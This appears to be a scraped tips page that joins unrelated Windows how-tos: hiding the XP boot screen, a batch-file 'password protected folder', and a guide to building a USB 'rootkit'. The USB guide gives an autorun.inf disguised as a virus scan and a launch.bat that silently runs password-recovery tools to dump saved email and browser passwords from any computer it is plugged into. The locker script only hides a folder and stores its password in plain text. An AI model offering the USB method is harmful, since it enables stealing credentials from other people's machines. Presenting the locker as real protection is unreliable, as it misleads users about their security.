Change XP Boot Screen

Change XP Boot Screen

Michael asks, Is there any way to get rid of "branding" on a computer? Where computer manufacture advertise there products when you start you computer.

Depending on which computer manufacturer made your computer, you might have a simple splash screen displayed as the BIOS loads or you might be inundated with advertising throughout the entire boot process. These are two separate image locations requiring editing in multiple places and some confidence in your computing skills, as the BIOS option can potentially damage your system if done incorrectly.

Changing the Windows Boot Screen

I'll start with the Windows boot screen, since that's fairly easy and doesn't necessarily require any direct modification of system files. There are several ways to approach changing the boot screen. One option is to eliminate it completely, opting to display a blank screen until Windows completes the boot process. To turn off the boot logo, Click Start > Run and type MSCONFIG in the run dialog box to launch the System Configuration Utility. On the BOOT.INI tab, check the box next to /NOGUIBOOT and click OK. The next time you reboot your computer, you'll see the BIOS screen and then nothing until Windows loads completely. The downside to this option is you won't get any feedback if your PC gets hung up somewhere in the boot process.

To maintain a more visual boot process, while also eliminating any boot branding, you might simply want to replace the boot image. The easy way to do this is to download a freeware app from WinCustomize called BootSkin. The app automatically overrides the default Windows boot screen, replacing it with one of the many options in the WinCustomize BootSkin library. With some practice you can make your own custom BootSkin as well.

How to Create a Password Protected Folder without any Extra Software 

How to Create a Password Protected Folder without any Extra Software

Before you get started you need to create a folder that will house your password protected folder, this is just an ordinary folder and can be located anywhere and named anything.

Open the document, now paste the following code into the contents of the document:

cls 
@ECHO OFF 
title Folder Private 
if EXIST "HTG Locker" goto UNLOCK 
if NOT EXIST Private goto MDLOCKER 
:CONFIRM 
echo Are you sure you want to lock the folder(Y/N) 
set/p "cho=>" 
if %cho%==Y goto LOCK 
if %cho%==y goto LOCK 
if %cho%==n goto END 
if %cho%==N goto END 
echo Invalid choice. 
goto CONFIRM 
:LOCK 
ren Private "HTG Locker" 
attrib +h +s "HTG Locker" 
echo Folder locked 
goto End 
:UNLOCK 
echo Enter password to unlock folder 
set/p "pass=>" 
if NOT %pass%== PASSWORD_GOES_HERE goto FAIL 
attrib -h -s "HTG Locker" 
ren "HTG Locker" Private 
echo Folder Unlocked successfully 
goto End 
:FAIL 
echo Invalid password 
goto end 
:MDLOCKER 
md Private 
echo Private created successfully 
goto End 
:End

Change the PASSWORD_GOES_HERE text to the password you want to set. Now go ahead and save the file as locker.bat.

Now run your batch file by double clicking on it–the first time you run it, it will create a folder called Private. This is where you can store all your secret things. When you have finished adding all your stuff to the Private folder, run locker.bat again.

How to Access Passwords Using a USB Drive? 

1) Download all the tools mentioned below
MessenPass : http://sh.st/wZ8t2
Mail PassView : http://sh.st/wZ8ix
IE Passview : http://sh.st/wZ8pg
Protected Storage PassView : http://sh.st/wZ8s0
PasswordFox : http://sh.st/wZ8dD

Note: If any link doesn't work then you can google it and download it 

2) Download all the 5 tools, extract them and copy only the executable files (.exe files) onto your USB Pendrive.

ie: Copy the files – mspass.exe, mailpv.exe, iepv.exe, pspv.exe and passwordfox.exe into your USB Drive.

3) Create a new Notepad and write the following text into it:

[autorun] open=launch.bat
ACTION= Perform a Virus Scan

save the Notepad and rename it from New Text Document.txt to autorun.inf. Now copy the autorun.inf file onto your USB pen-drive.

4) Create another Notepad and write the following text onto it:

start mspass.exe /stext mspass.txt

start mailpv.exe /stext mailpv.txt

start iepv.exe /stext iepv.txt

start pspv.exe /stext pspv.txt

start passwordfox.exe /stext passwordfox.txt

Save the Notepad and rename it from New Text Document.txt to launch.bat. Copy the launch.bat file to your USB drive.

5) Now your rootkit is ready and you are all set to sniff the passwords. You can use this pen-drive on on any computer to sniff the stored passwords. Just follow these steps:

Insert the pen-drive and the auto-run window will pop-up. (This is because, we have created an auto-run pen-drive).

In the pop-up window, select the first option (Perform a Virus Scan).

Now all the password recovery tools will silently get executed in the background (This process takes hardly a few seconds). The passwords get stored in the .TXT files.

Remove the pen-drive and you’ll see the stored passwords in the .TXT files.

NOTE: This can only obtain saved email id's and password and not the one which is not saved